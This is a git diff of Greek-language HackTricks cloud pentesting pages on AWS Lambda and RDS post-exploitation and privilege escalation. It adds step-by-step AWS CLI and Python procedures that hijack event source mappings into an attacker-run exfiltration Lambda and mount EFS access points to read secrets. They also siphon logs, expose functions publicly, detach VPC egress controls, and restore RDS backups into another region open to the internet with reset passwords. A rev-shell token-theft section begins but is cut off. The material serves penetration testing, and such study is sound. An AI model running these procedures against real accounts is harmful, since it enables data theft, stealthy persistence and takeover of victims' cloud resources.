+- Υποθέσεις περιβάλλοντος: +- Ο στοχευόμενος Lambda είναι VPC-enabled και τα subnets/SGs του μπορούν να φτάσουν το EFS mount target SG μέσω TCP/2049 (π.χ. ο role έχει AWSLambdaVPCAccessExecutionRole και το VPC routing το επιτρέπει). +- Το EFS Access Point είναι στο ίδιο VPC και έχει mount targets στις AZs των subnets του Lambda. + +## Επίθεση +- Μεταβλητές +``` +REGION=us-east-1 +TARGET_FN= +EFS_AP_ARN= +``` +1) Συνδέστε το EFS Access Point στη Lambda +``` +aws lambda update-function-configuration \ +--function-name $TARGET_FN \ +--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \ +--region $REGION +# wait until LastUpdateStatus == Successful +until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done +``` +2) Αντικαταστήστε τον code με έναν απλό reader που απαριθμεί αρχεία και εμφανίζει τα πρώτα 200 bytes ενός υποψήφιου secret/config αρχείου +``` +cat > reader.py </dev/null +cat /tmp/efs-out.json +``` +Η έξοδος πρέπει να περιλαμβάνει τη λίστα καταλόγων κάτω από /mnt/ht και μια μικρή προεπισκόπηση ενός επιλεγμένου secret/config αρχείου από EFS. + +## Επιπτώσεις +Ένας attacker με τα αναφερόμενα permissions μπορεί να mount αυθαίρετα in-VPC EFS Access Points σε victim Lambda functions, για να διαβάσει και να exfiltrate κοινές ρυθμίσεις και secrets που είναι αποθηκευμένα στο EFS και που προηγουμένως ήταν μη προσβάσιμα σε αυτήν τη function. + +## Εκκαθάριση +``` +aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md new file mode 100644 index 000000000..25c8f0ffe --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md @@ -0,0 +1,75 @@ +# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda + +{{#include ../../../../banners/hacktricks-training.md}} + +Καταχραστείτε το `UpdateEventSourceMapping` για να αλλάξετε την στοχευόμενη λειτουργία Lambda ενός υπάρχοντος Event Source Mapping (ESM), έτσι ώστε εγγραφές από DynamoDB Streams, Kinesis ή SQS να παραδίδονται σε μια λειτουργία που ελέγχεται από τον επιτιθέμενο. Αυτό αποσπά σιωπηλά ζωντανά δεδομένα χωρίς να αγγίζει τους παραγωγούς ή τον αρχικό κώδικα της λειτουργίας. + +## Επιπτώσεις +- Ανακατευθύνετε και διαβάστε ζωντανές εγγραφές από υπάρχοντα streams/queues χωρίς να τροποποιήσετε τις εφαρμογές παραγωγών ή τον κώδικα του θύματος. +- Δυνητική εξαγωγή δεδομένων ή παραποίηση λογικής μέσω επεξεργασίας της κίνησης του θύματος σε μια κακόβουλη λειτουργία. + +## Απαιτούμενα δικαιώματα +- `lambda:ListEventSourceMappings` +- `lambda:GetEventSourceMapping` +- `lambda:UpdateEventSourceMapping` +- Δυνατότητα ανάπτυξης ή αναφοράς μιας λειτουργίας Lambda που ελέγχεται από επιτιθέμενο (`lambda:CreateFunction` ή δικαίωμα χρήσης μιας υπάρχουσας). + +## Βήματα + +1) Απαριθμήστε τα event source mappings για τη λειτουργία-θύμα +``` +TARGET_FN= +aws lambda list-event-source-mappings --function-name $TARGET_FN \ +--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}' +export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \ +--query 'EventSourceMappings[0].UUID' --output text) +export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \ +--query 'EventSourceMappings[0].EventSourceArn' --output text) +``` +2) Προετοιμάστε έναν Lambda παραλήπτη υπό έλεγχο του επιτιθέμενου (ίδια περιοχή; ιδανικά παρόμοιο VPC/runtime) +``` +cat > exfil.py <<'PY' +import json, boto3, os, time + +def lambda_handler(event, context): +print(json.dumps(event)[:3000]) +b = os.environ.get('EXFIL_S3') +if b: +k = f"evt-{int(time.time())}.json" +boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event)) +return {'ok': True} +PY +zip exfil.zip exfil.py +ATTACKER_LAMBDA_ROLE_ARN= +export ATTACKER_FN_ARN=$(aws lambda create-function \ +--function-name ht-esm-exfil \ +--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \ +--handler exfil.lambda_handler --zip-file fileb://exfil.zip \ +--query FunctionArn --output text) +``` +3) Ανακατευθύνετε το mapping προς την attacker function +``` +aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN +``` +4) Δημιουργήστε ένα συμβάν στην πηγή ώστε το mapping να πυροδοτηθεί (παράδειγμα: SQS) +``` +SOURCE_SQS_URL= +aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}' +``` +5) Επαληθεύστε ότι η attacker function λαμβάνει το batch +``` +aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5 +``` +6) Προαιρετικό stealth +``` +# Pause mapping while siphoning events +aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false + +# Restore original target later +aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true +``` +Σημειώσεις: +- Για τα SQS ESMs, ο ρόλος εκτέλεσης του Lambda που επεξεργάζεται την ουρά χρειάζεται `sqs:ReceiveMessage`, `sqs:DeleteMessage` και `sqs:GetQueueAttributes` (διαχειριζόμενη πολιτική: `AWSLambdaSQSQueueExecutionRole`). +- Το UUID του ESM παραμένει ίδιο· αλλάζει μόνο το `FunctionArn`, οπότε οι producers και οι source ARNs παραμένουν ανεπηρέαστοι. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md new file mode 100644 index 000000000..e026bfd8e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md @@ -0,0 +1,46 @@ +# AWS - Lambda Function URL Δημόσια Έκθεση (AuthType NONE + Public Invoke Policy) + +Μετατρέψτε ένα ιδιωτικό Lambda Function URL σε δημόσιο, μη αυθεντικοποιημένο endpoint αλλάζοντας το Function URL AuthType σε NONE και επισυνάπτοντας μια resource-based policy που παραχωρεί lambda:InvokeFunctionUrl σε όλους. Αυτό επιτρέπει ανώνυμη κλήση εσωτερικών functions και μπορεί να εκθέσει ευαίσθητες διεργασίες backend. + +## Κατάχρηση + +- Προαπαιτούμενα: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission +- Περιοχή: us-east-1 + +### Βήματα +1) Βεβαιωθείτε ότι η function έχει Function URL (defaults to AWS_IAM): +``` +aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true +``` + +2) Switch the URL to public (AuthType NONE): +``` +aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE +``` + +3) Προσθέστε δήλωση resource-based policy για να επιτρέψετε μη αυθεντικοποιημένους principals: +``` +aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE +``` + +4) Ανακτήστε το URL και καλέστε χωρίς διαπιστευτήρια: +``` +URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text) +curl -sS "$URL" +``` + +### Επιπτώσεις +- Η Lambda function γίνεται ανώνυμα προσβάσιμη μέσω του internet. + +### Παράδειγμα εξόδου (μη αυθεντικοποιημένο 200) +``` +HTTP 200 +https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/ +{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]} +``` +### Καθαρισμός +``` +aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true +aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md new file mode 100644 index 000000000..618ad4ca8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md @@ -0,0 +1,51 @@ +# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection + +{{#include ../../../../banners/hacktricks-training.md}} + +Εκμεταλλευτείτε το `lambda:UpdateFunctionConfiguration` για να χρησιμοποιήσετε τις προηγμένες ρυθμίσεις logging και να ανακατευθύνετε τα logs μιας function σε ένα CloudWatch Logs log group που έχει επιλέξει ο επιτιθέμενος. Αυτό λειτουργεί χωρίς να αλλάξει ο code ή ο execution role (οι περισσότερες Lambda roles περιλαμβάνουν ήδη `logs:CreateLogGroup/CreateLogStream/PutLogEvents` μέσω του `AWSLambdaBasicExecutionRole`). Αν η function εκτυπώνει secrets/request bodies ή καταρρέει με stack traces, μπορείτε να τα συλλέξετε από το νέο log group. + +## Απαιτούμενα δικαιώματα +- lambda:UpdateFunctionConfiguration +- lambda:GetFunctionConfiguration +- lambda:InvokeFunction (ή βασιστείτε σε υπάρχοντες triggers) +- logs:CreateLogGroup (συχνά δεν απαιτείται αν ο ρόλος της function το έχει) +- logs:FilterLogEvents (για ανάγνωση events) + +## Βήματα +1) Δημιουργήστε ένα sink log group +``` +aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true +``` +2) Ανακατεύθυνση των logs της στοχευόμενης function +``` +aws lambda update-function-configuration \ +--function-name \ +--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \ +--region us-east-1 +``` +Περιμένετε μέχρι το `LastUpdateStatus` να γίνει `Successful`: +``` +aws lambda get-function-configuration --function-name \ +--query LastUpdateStatus --output text +``` +3) Εκτέλεση και ανάγνωση από το sink +``` +aws lambda invoke --function-name /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null +sleep 5 +aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text +``` +## Επιπτώσεις +- Κρυφά ανακατευθύνετε όλα τα αρχεία καταγραφής εφαρμογών/συστήματος σε ένα log group που ελέγχετε, παρακάμπτοντας την προσδοκία ότι τα logs καταλήγουν μόνο στο `/aws/lambda/`. +- Εξάγετε ευαίσθητα δεδομένα που εκτυπώνονται από τη συνάρτηση ή εμφανίζονται σε σφάλματα. + +## Καθαρισμός +``` +aws lambda update-function-configuration --function-name \ +--logging-config LogGroup=/aws/lambda/,LogFormat=Text,ApplicationLogLevel=INFO \ +--region us-east-1 || true +``` +## Notes +- Οι ρυθμίσεις καταγραφής είναι μέρος του `LoggingConfig` του Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel). +- Από προεπιλογή, το Lambda στέλνει logs στο `/aws/lambda/`, αλλά μπορείτε να δείξετε σε οποιοδήποτε log group name; το Lambda (ή ο ρόλος εκτέλεσης) θα το δημιουργήσει εάν επιτρέπεται. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md new file mode 100644 index 000000000..4f766ef99 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md @@ -0,0 +1,12 @@ +# AWS Lambda – Κατάχρηση Runtime Pinning/Rollback μέσω PutRuntimeManagementConfig + +Καταχραστείτε το `lambda:PutRuntimeManagementConfig` για να καρφιτσώσετε μια function σε συγκεκριμένη έκδοση runtime (Manual) ή να παγώσετε τις ενημερώσεις (FunctionUpdate). Αυτό διατηρεί συμβατότητα με κακόβουλα layers/wrappers και μπορεί να κρατήσει τη function σε παρωχημένο, ευάλωτο runtime για να διευκολύνει την εκμετάλλευση και τη μακροχρόνια παραμονή. + +Απαιτήσεις: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`. + +Παράδειγμα (us-east-1): +- Εκτέλεση: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5` +- Πάγωμα ενημερώσεων: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1` +- Επαλήθευση: `aws lambda get-runtime-management-config --function-name --region us-east-1` + +Προαιρετικά, καρφιτσώστε σε συγκεκριμένη έκδοση runtime εξάγοντας το Runtime Version ARN από τα logs INIT_START και χρησιμοποιώντας `--update-runtime-on Manual --runtime-version-arn `. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md new file mode 100644 index 000000000..5d20150e5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md @@ -0,0 +1,63 @@ +# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig + +Αναγκάστε μια Lambda function να βγει από ένα περιορισμένο VPC ενημερώνοντας τη διαμόρφωσή της με κενό VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Η function θα τρέχει τότε στο Lambda-managed networking plane, επανακτώντας την εξερχόμενη πρόσβαση στο διαδίκτυο και παρακάμπτοντας τους egress ελέγχους που επιβάλλονται από ιδιωτικά VPC subnets χωρίς NAT. + +## Κατάχρηση + +- Προαπαιτούμενα: δικαίωμα lambda:UpdateFunctionConfiguration στην στοχευόμενη function (και lambda:InvokeFunction για επαλήθευση), καθώς και δικαιώματα για ενημέρωση κώδικα/handler αν τα αλλάξετε. +- Υποθέσεις: Η function είναι αυτήν τη στιγμή διαμορφωμένη με VpcConfig που δείχνει σε ιδιωτικά subnets χωρίς NAT (οπότε η εξερχόμενη πρόσβαση στο διαδίκτυο είναι αποκλεισμένη). +- Περιοχή: us-east-1 + +### Βήματα + +0) Ετοιμάστε έναν ελάχιστο handler που αποδεικνύει ότι η εξερχόμενη HTTP λειτουργεί + +cat > net.py <<'PY' +import urllib.request, json + +def lambda_handler(event, context): +try: +ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() +return {"egress": True, "ip": ip} +except Exception as e: +return {"egress": False, "err": str(e)} +PY +zip net.zip net.py +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true +aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true + +1) Καταγράψτε την τρέχουσα VPC config (για επαναφορά αργότερα αν χρειαστεί) + +aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json +cat /tmp/orig-vpc.json + +2) Αποσυνδέστε το VPC θέτοντας κενές λίστες + +aws lambda update-function-configuration \ +--function-name $TARGET_FN \ +--vpc-config SubnetIds=[],SecurityGroupIds=[] \ +--region $REGION +until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done + +3) Κάντε invoke και επαληθεύστε την εξερχόμενη πρόσβαση + +aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null +cat /tmp/net-out.json + +(Optional) Επαναφέρετε την αρχική VPC config + +if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then +SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) +aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION +fi + +### Επιπτώσεις +- Επαναφέρει την ανεμπόδιστη εξερχόμενη πρόσβαση στο διαδίκτυο από τη function, επιτρέποντας εξαγωγή δεδομένων (data exfiltration) ή C2 από workloads που είχαν σκόπιμα απομονωθεί σε ιδιωτικά subnets χωρίς NAT. + +### Παράδειγμα εξόδου (μετά την αποσύνδεση του VpcConfig) + +{"egress": true, "ip": "34.x.x.x"} + +### Καθαρισμός +- Αν δημιουργήσατε προσωρινές αλλαγές σε κώδικα/handler, επαναφέρετέ τες. +- Προαιρετικά επαναφέρετε το αρχικό VpcConfig που αποθηκεύτηκε στο /tmp/orig-vpc.json όπως φαίνεται παραπάνω. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index e6f2f46f0..96dbf9ef3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -4,7 +4,7 @@ ## RDS -Για περισσότερες πληροφορίες ελέγξτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Εάν ο επιτιθέμενος έχει αρκετές άδειες, θα μπορούσε να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα στιγμιότυπο της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το στιγμιότυπο. +Αν ο επιτιθέμενος έχει αρκετά δικαιώματα, μπορεί να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε **να δημιουργήσει ένα στιγμιότυπο μιας βάσης δεδομένων** και να το κάνει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλά να δημιουργήσει στον δικό του λογαριασμό μια βάση δεδομένων από αυτό το στιγμιότυπο. +Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **δημιουργήσει ένα snapshot μιας DB** και να το καταστήσει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλά να δημιουργήσει στον δικό του λογαριασμό μια DB από αυτό το snapshot. -Αν ο επιτιθέμενος **δεν έχει την `rds:CreateDBSnapshot`**, θα μπορούσε ακόμα να κάνει **άλλα** δημιουργημένα στιγμιότυπα **δημόσια**. +Ακόμα κι αν ο επιτιθέμενος **δεν έχει το `rds:CreateDBSnapshot`**, μπορεί ωστόσο να κάνει **άλλα** δημιουργημένα snapshots **δημόσια**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,15 +53,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Ένας επιτιθέμενος με την άδεια `rds:DownloadDBLogFilePortion` μπορεί να **κατεβάσει τμήματα των αρχείων καταγραφής μιας RDS παρουσίας**. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος θα μπορούσε ενδεχομένως να χρησιμοποιήσει αυτές τις πληροφορίες για να κλιμακώσει τα προνόμιά του ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες. +Ένας επιτιθέμενος με το δικαίωμα `rds:DownloadDBLogFilePortion` μπορεί να **κατεβάσει τμήματα των αρχείων καταγραφής ενός RDS instance**. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος ενδέχεται να χρησιμοποιήσει αυτές τις πληροφορίες για να κλιμακώσει τα προνόμιά του ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Πιθανές Επιπτώσεις**: Πρόσβαση σε ευαίσθητες πληροφορίες ή μη εξουσιοδοτημένες ενέργειες χρησιμοποιώντας διαρρεύσαντα διαπιστευτήρια. +**Πιθανός Αντίκτυπος**: Πρόσβαση σε ευαίσθητες πληροφορίες ή μη εξουσιοδοτημένες ενέργειες χρησιμοποιώντας leaked διαπιστευτήρια. ### `rds:DeleteDBInstance` -Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να **DoS υπάρχουσες RDS περιπτώσεις**. +Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να προκαλέσει **DoS σε υπάρχουσες RDS instances**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot @@ -71,12 +71,96 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final ### `rds:StartExportTask` > [!NOTE] -> TODO: Test +> TODO: Να δοκιμαστεί -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να **εξάγει ένα στιγμιότυπο RDS instance σε ένα S3 bucket**. Εάν ο επιτιθέμενος έχει έλεγχο πάνω στο προορισμένο S3 bucket, μπορεί να έχει πρόσβαση σε ευαίσθητα δεδομένα μέσα στο εξαγόμενο στιγμιότυπο. +Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα RDS instance snapshot σε ένα S3 bucket**. Εάν ο επιτιθέμενος έχει έλεγχο επί του προορισμού S3 bucket, μπορεί ενδεχομένως να έχει πρόσβαση σε ευαίσθητα δεδομένα εντός του εξαγόμενου snapshot. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Πιθανές επιπτώσεις**: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαγόμενο στιγμιότυπο. +**Πιθανός αντίκτυπος**: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαγόμενο snapshot. + +### Διαπεριφερειακή αναπαραγωγή αυτοματοποιημένων backup για κρυφή επαναφορά (`rds:StartDBInstanceAutomatedBackupsReplication`) + +Κατάχρηση της διαπεριφερειακής αναπαραγωγής αυτοματοποιημένων backups για να αντιγράψετε σιωπηλά τα αυτοματοποιημένα backups ενός RDS instance σε άλλη AWS Region και να τα επαναφέρετε εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να κάνει τη επαναφερθείσα DB δημόσια προσβάσιμη και να επαναφέρει τον master κωδικό πρόσβασης ώστε να αποκτήσει πρόσβαση στα δεδομένα εκτός επιτήρησης σε μια Region που οι αμυνόμενοι ίσως δεν παρακολουθούν. + +Απαιτούμενα δικαιώματα (ελάχιστα): +- `rds:StartDBInstanceAutomatedBackupsReplication` στην Region προορισμού +- `rds:DescribeDBInstanceAutomatedBackups` στην Region προορισμού +- `rds:RestoreDBInstanceToPointInTime` στην Region προορισμού +- `rds:ModifyDBInstance` στην Region προορισμού +- `rds:StopDBInstanceAutomatedBackupsReplication` (προαιρετικός καθαρισμός) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (για να εκθέσετε την επαναφερθείσα DB) + +Επίπτωση: Επιμονή πρόσβασης και εξαγωγή δεδομένων με την επαναφορά αντιγράφου παραγωγικών δεδομένων σε άλλη Region και τη δημόσια έκθεσή του με διαπιστευτήρια υπό τον έλεγχο του επιτιθέμενου. + +
+CLI από άκρο σε άκρο (αντικαταστήστε τα placeholders) +```bash +# 1) Recon (SOURCE region A) +aws rds describe-db-instances \ +--region \ +--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ +--output table + +# 2) Start cross-Region automated backups replication (run in DEST region B) +aws rds start-db-instance-automated-backups-replication \ +--region \ +--source-db-instance-arn \ +--source-region \ +--backup-retention-period 7 + +# 3) Wait for replication to be ready in DEST +aws rds describe-db-instance-automated-backups \ +--region \ +--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \ +--output table +# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn + +# 4) Restore to latest restorable time in DEST +aws rds restore-db-instance-to-point-in-time \ +--region \ +--source-db-instance-automated-backups-arn \ +--target-db-instance-identifier \ +--use-latest-restorable-time \ +--db-instance-class db.t3.micro +aws rds wait db-instance-available --region --db-instance-identifier + +# 5) Make public and reset credentials in DEST +# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed) +OPEN_SG_ID=$(aws ec2 create-security-group --region \ +--group-name open-rds- --description open --vpc-id \ +--query GroupId --output text) +aws ec2 authorize-security-group-ingress --region \ +--group-id "$OPEN_SG_ID" \ +--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]' + +# 5b) Publicly expose restored DB and attach the SG +aws rds modify-db-instance --region \ +--db-instance-identifier \ +--publicly-accessible \ +--vpc-security-group-ids "$OPEN_SG_ID" \ +--apply-immediately +aws rds wait db-instance-available --region --db-instance-identifier + +# 5c) Reset the master password +aws rds modify-db-instance --region \ +--db-instance-identifier \ +--master-user-password '' \ +--apply-immediately +aws rds wait db-instance-available --region --db-instance-identifier + +# 6) Connect to endpoint and validate data (example for MySQL) +ENDPOINT=$(aws rds describe-db-instances --region \ +--db-instance-identifier \ +--query 'DBInstances[0].Endpoint.Address' --output text) +mysql -h "$ENDPOINT" -u -p'' -e 'SHOW DATABASES;' + +# 7) Optional: stop replication +aws rds stop-db-instance-automated-backups-replication \ +--region \ +--source-db-instance-arn +``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 6026107d4..3b52113cc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -Περισσότερες πληροφορίες σχετικά με το lambda στο: +Περισσότερες πληροφορίες για το lambda στο: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,11 +12,11 @@ ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Χρήστες με τα δικαιώματα **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:InvokeFunction`** μπορούν να αναβαθμίσουν τα προνόμιά τους.\ -Μπορούν να **δημιουργήσουν μια νέα Lambda function και να της αναθέσουν έναν υπάρχοντα IAM ρόλο**, παρέχοντας στη function τα δικαιώματα που σχετίζονται με αυτόν τον ρόλο. Ο χρήστης μπορεί στη συνέχεια να **γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (με ένα rev shell για παράδειγμα)**.\ -Αφού ρυθμιστεί η function, ο χρήστης μπορεί να **προκαλέσει την εκτέλεσή της** και τις προγραμματισμένες ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που παρέχεται από τον IAM ρόλο που σχετίζεται με αυτήν.\\ +Χρήστες με τα **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:InvokeFunction`** δικαιώματα μπορούν να αναβαθμίσουν τα προνόμιά τους.\ +Μπορούν να **δημιουργήσουν μια νέα Lambda function και να της αναθέσουν ένα υπάρχον IAM role**, παραχωρώντας στη function τα δικαιώματα που συνδέονται με εκείνο τον ρόλο. Ο χρήστης μπορεί στη συνέχεια να **γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (π.χ. με ένα rev shell)**.\ +Μόλις η function ρυθμιστεί, ο χρήστης μπορεί να **ενεργοποιήσει την εκτέλεσή της** και τις επιθυμητές ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει ουσιαστικά στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που έχει παραχωρηθεί στο αντίστοιχο IAM role.\\ -Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει ένα **rev shell και να κλέψει το token**: +Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό για να αποκτήσει ένα **rev shell και να κλέψει το token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): @@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` -Μπορείτε επίσης να 